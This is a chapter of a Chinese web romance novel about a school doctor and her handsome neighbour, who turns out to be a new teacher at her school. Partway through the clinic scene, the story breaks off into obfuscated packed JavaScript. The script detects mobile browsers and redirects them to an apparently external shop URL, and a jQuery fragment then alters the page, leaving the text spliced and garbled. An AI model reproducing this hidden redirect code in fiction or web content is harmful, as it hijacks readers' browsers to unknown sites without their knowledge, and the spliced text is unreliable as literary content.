1. 初见,邻居是位大帅哥
作品:《论如何泡到隔壁帅邻居》 《论如何泡到隔壁帅邻居》
元一乙/文
晋江文学城首发
01 初见,邻居是位大帅哥
时音等电梯的时候顺手接了好友周臻颖的电话。
周臻颖是七年三班的班主任,电话来是找时音聊今天事故的后续:“幸好送医院送得及时,那孩子CT查了,轻微脑震荡,要不是医生说没大碍,家长都准备来学校算账了。”
“毕竟撞到头不是小事,”时音按了电梯,复盘早上发生的事:“但说来算账有点过了吧,单杠支架就杵在那,是小孩子自己撞上去的。”
周臻颖欲言又止:“现在的家长你又不是不知道……”
时音很轻地嗯了一声,电梯刚回到一楼,门徐徐打开,时音感觉身后多了位同乘电梯的人,下意识回头。
魂就被勾走了。
身后来的是位大帅哥。
耳边是周臻颖絮絮叨叨的声音。
时音捏紧手机,眼神直勾勾盯着那身肌肉瞧。
电梯门关了都不知道按楼层。
大帅哥伸手:“几楼?”
时音怔愣愣地收回目光,报了楼层:“三十楼。”低声道谢。
三十楼的按钮是被男人有力的指腹按了下去。
九月的秋天,A市气温泛凉,男人穿着长款白衬衫,袖口卷到小臂,麦色肌肤上的肌肉线条紧实流畅,随着按电梯的一个小动作,手背鼓起的几条青筋在时音眼皮底下扫过。
时音眨了眨眼,脑袋里忍不住构想,如果在上臂再戴个黑色袖箍,手臂肌肉会不会更显爆发力。
周臻颖的声音还在电话里继续:“不过话说回来,我们年段一班来了位超级帅的腹肌男新老师……”
按目前的气氛来说,时音对“腹肌”两个字充满了应激。
“我在电梯,信号不好,”时音捂住听筒,深怕漏音,迅速结束电话:“一会儿再聊。”
周臻颖:“啊?你换地方住了?之前都没见你说信号不……”
电话被无情挂断。
时音收起手机。
抬头对腹肌帅哥男扯了个不尴不尬的笑容。
小区楼房结构是一梯两户,时音等电梯到三十楼了才发现帅哥是自己邻居。
憋着一股想呐喊尖叫的心回到房间,时音回拨刚才被自己无情挂掉的电话:“我的天啊周臻颖!周臻颖你知道吗!”
周臻颖捂住耳朵:“放。”
时音捂住小心脏:“电梯里遇到一帅哥,肩宽窄腰,腹肌男,还是我邻居。”
周臻颖面无表情:“呵。”
时音伸出手,在空中抓了一把:“肌肉好发达。”
周臻颖:“你邻居?”
时音:“嗯哈。”
“以前没见过?”
时音说没有,隔壁大门常年紧闭,门口鞋柜都积灰了,哦,最近是觉得鞋柜比以前干净许多。
周臻颖笑了:“你从阳台可以看得到隔壁吗?”
时音暂停思考,几秒后:“你等等,我去看看。”
周臻颖:“说不定可以看到人家阳台上挂的大号贴身衣物。”
时音让周臻颖闭嘴,急切的脚步出卖了时音的真实想法,疾步往阳台跑,探头探脑。
时音对小区房型分布不是很了解,从阳台可以看到隔壁的情况吗?
嗯……
显然不能。
高端小区的隐私做得很好,阳台这头看不到阳台那头,连边角都没给时音看到。
周臻颖故意问:“看到了?”
时音:“闭嘴吧。”
腹肌帅哥只是一段小插曲,时音的生活还要继续。
开学军训一周的任务才到一半,九月阳光依旧毒辣,时音顶着烈阳骑着小电驴到工位。
A市二中初中部规模不算大,学校校医只有他和高年资的老员工余姐。
余姐上个月二胎生产,目前在休产假,新招聘的辅助顶替岗位到现在都没人来报道,所有工作都积在了时音身上。
时音先把空调开到舒服的温度,给窗边的花花草草浇浇水,把准备工作做完,该签字的表单签完,开电脑,上报系统。
最后泡一壶茶,坐下来,外头军训有条不紊的进行着,时音默默等待“敌军”抵达。
昨天那位不小心自己把头往单杠上撞的学生没来军训,但时音要补齐小孩来医务室的全部经过,统计耗材。
一一记录好,期间有鼻塞的老师来领板蓝根,时音又把本子拿出来登记了一下。
很琐碎的事情,日复一日。
墙上的时钟有条不紊的前进,一个上午很快过去,时音已经在计划中午要点食堂的哪几道菜。
窗外的阳光把大地照得闪亮,室内的空调冰凉覆在身上。
时音惬意地伸了个懒腰。
这份工作远比之前的日子好过千百倍,对于低能量的人来说太过友好。
时音安于现状。
***
金秋九月并没秋高气爽,操场上学生们顶着烈阳暴晒,军训号角已经进行了三天。
任清野整了整头上的鸭舌帽,刺眼阳光让他短暂的眯起双眼适应。
老师跟学生一道晒太阳的要求也不知道是从什么时候规定起来的。
有风徐徐吹来,带起塑胶跑道上的热气。
“一二一!一二一!”教官们的声音此起彼伏。
任清野面无表情看着自家学生那对方阵。
“任哥,等下一起去食堂呗?听说今天二楼有新品供应。”隔壁班的班主任站靠过来,和任清野搭话。
任清野侧目,萧柏延一脸笑嘻嘻。
“行。”任清野情绪没多大变化,转头继续看学生们操练。
萧柏延顺着任清野的视线望去,教官们在收队,早上的军训接近尾声。
开学才不久,萧柏延还觉得不太真实:“没想到你真会来上班。”
任清野:“我也没想到。”
这份工作是萧柏延给任清野介绍的,符合任清野近阶段的要求,一份稳定的、富有爱心和责任心的工作。
萧柏延打趣:“听说你那位没过门的对象也在A市,要不要帮你打听下他在哪里,你……”
任清野打断:“他不是我对象。”
“哦,”萧柏延换了个说法:“就那逃婚的小妻子。”
学生方阵在陆续解散,任清野没理萧柏延的话,转身往自家班级那走,给学生们喊了两句下午准时集合的话。
萧柏延摸摸鼻梁,原地站了几秒,无声轻笑摇头。
任清野被未谋面的联姻对象悔婚这事在圈里不算秘密。
任家要给任清野讨说法,任清野却搬出“大师算过命”的说辞,独身到新城市“修行”,积累善德,迎接正缘感情。
任清野能说会道,把任家长辈忽悠得团团转。
作为多年老朋友的萧柏延可没被任清野骗到,什么狗屁大师玄学说辞,任清野就是不想联姻呗,不想自己的婚姻幸福成为家族繁荣兴旺的牺牲品,不想过上和任家父母一样的塑料婚姻生活。
任清野有血有肉,想活得更像个普通人。
普通的一名刚下军训的班主任,抢在学生大部队前去食堂排队点新品套餐,任清野大步流星,萧柏延三步并两步,才能急急追上对方的步伐。
一道吃过午饭。
萧柏延要去收发室拿快递,任清野不奉陪,走了小路回办公室休息。
午休期间,沸腾的校园间歇安静下来。
任清野放缓脚步,还没感受够这份清净,小路尽头传来一阵急躁声。
任清野还没看清是怎么回事,对面的学生先喊人:“任老师好。”
“怎么了?”任清野走近,皱起眉头:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939216|192911||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“往哪里去?”
面前是自己班的三位男同学,两个高个头的搀扶着一个矮个头的,三人并排站,中间矮个头的男生面带苦色。
最先喊人的男同学叫沈宇舟,他说:“吴子书脚提到钢板,指甲盖翻了,我们要带他去医务室”
校医务室在图书馆楼对面,走小路最方便。
任清野低头看,吴子书伤的是右脚大拇指,鞋子已经脱掉了,胡乱包扎在伤口上的纸巾沾满鲜血,吴子书单脚站立,半个身子的重力压在两位好心搀扶的同学身上。
学生受伤,老师不能不管,任清野伸手:“我来扶吧。”
吴子书眼角还挂着泪花,本是不好意思麻烦新老师,但任清野废话不多说,接替了沈宇舟的位子,大手架起吴子书胳膊。
男老师力气庞大,吴子书觉得自己差点被腾空架起来。
四人快速抵达医务室。
午休期间,医务室只留了个值班老师,不大不小的诊间里,前面还有位学生在看诊。
任清野他们敲门进屋时,前一位学生还在絮絮叨叨,内容很简单,听一耳就能明白,是学生被蚊子咬了,来医务室开药,校医拿出的风油精味道学生不喜欢,在讨价还价问可不可以换六神花露水。
任清野把吴子书放到椅子上,抬眸望去,一眼就认出把风油精盖子拧紧的年轻校医是昨晚电梯里有一头毛绒绒短发和一双水汪汪桃花眼的新邻居。
任清野开口:“医生,我这位学生好像比较重,你要不要先看一下?”
风油精被按倒在桌上,时音看向涌进来的一群人,以为是被风油精呛鼻的味道熏出幻觉,不然怎么会在医务室看到邻居腹肌帅男人?呢?
腹肌男声音低沉有力:“医生?”
时音被叫回神,站起来:“我看看。”
吴子书委屈巴巴地伸出受伤的右脚。
时音戴上手套,把沾血的纸巾掀开,任清野在旁边解释受伤情况。
“踢到钢板?”时音把沾血的纸巾丢进医疗垃圾桶,“不是有穿鞋吗?”
任清野看向吴子书。
吴子书下巴都要埋进衣领里了,受伤过程过于丢脸。
任清野:“……”
时音拿出双氧水和棉签:“门上有铁锈吗?”
一众人你看我我看你,皆摇头。
“都不确定有没有铁锈?”时音让吴子书把脚抬起来,准备消毒,“这样吧,给家属打个电话,带去医院。”
吴子书:“要打针吗?”
“打不打破伤风还需要医院那边的医生进一步评估。”
吴子书皱巴巴地:“老师,我怕痛。”
时音边问:“脚现在就不痛?”沾了双氧水的棉签伸向伤口。
吴子书惨叫:“啊啊啊啊——”
任清野按住吴子书想要乱动的双腿,沈宇舟他们倒吸着冷气,旁边那位还想要六神花露水的学生见状,捂嘴弯腰低头溜走了。
伤口有点重,指甲盖已经翻起了一半,时音本来是想用双氧水冲洗,但学生的剧烈反应让时音放轻动作,余光时不时会瞥到帮忙压住学生裤腿的那双大手上。
初步清理完伤口,时音收起工具:“行了,给你爸妈打个电话。”
吴子书抽抽搭搭,眼泪一半还挂在脸上:“我手机在书包里。”
时音指了下台面上的座机:“呐。”
吴子书:“……我没记住我爸妈电话。”
时音把视线放到任清野身上
任清野转头,对沈宇舟吩咐:“你去帮他拿书包。”
沈宇舟接下任务:“好的,老师。”
时音拿出本子登记学生伤口情况,表格最后有一栏陪同老师签字的地方,时音叫任清野:“这位老师,你需要签个字。”
任清野接过时音递来的蓝黑笔,在时音指腹点的空位,龙飞凤舞签下大名。

